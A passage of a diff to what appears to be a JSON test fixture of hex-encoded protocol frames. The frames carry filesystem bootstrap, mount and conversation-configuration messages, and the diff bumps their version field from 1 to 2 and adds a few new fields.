"574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "class": "bootstrap", "seq": 1 }, { "name": "bootstrap-up-receipt", "direction": "up", - "hex": "574d58310101000002000000840900007b2276223a312c2274223a2272656365697074222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c2272656365697074223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d58310101000002000000840900007b2276223a322c2274223a2272656365697074222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c2272656365697074223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "class": "bootstrap", "seq": 2 }, { "name": "bootstrap-up-fault", "direction": "up", - "hex": "574d58310101000003000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", + "hex": "574d58310101000003000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", "class": "bootstrap", "seq": 3 }, { "name": "bootstrap-down-ready", "direction": "down", - "hex": "574d583101010000020000007e0000007b2276223a312c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "hex": "574d583101010000020000007e0000007b2276223a322c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "bootstrap", "seq": 2 }, { "name": "bootstrap-up-mounted", "direction": "up", - "hex": "574d58310101000004000000800000007b2276223a312c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "hex": "574d58310101000004000000800000007b2276223a322c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "bootstrap", "seq": 4 }, @@ -124,42 +124,42 @@ { "name": "bootstrap-down-conversations-guided", "direction": "down", - "hex": "574d58310101000003000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000003000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "class": "bootstrap", "seq": 3 }, { "name": "bootstrap-down-conversations-tools-only", "direction": "down", - "hex": "574d583101010000040000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000040000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "class": "bootstrap", "seq": 4 }, { "name": "bootstrap-up-runtime-ready", "direction": "up", - "hex": "574d58310101000005000000980000007b2276223a312c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a317d", + "hex": "574d58310101000005000000ab0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b5d7d", "class": "bootstrap", "seq": 5 }, { "name": "bootstrap-up-fault-bad-conversations", "direction": "up", - "hex": "574d58310101000006000000990000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f636f6e766572736174696f6e73227d", + "hex": 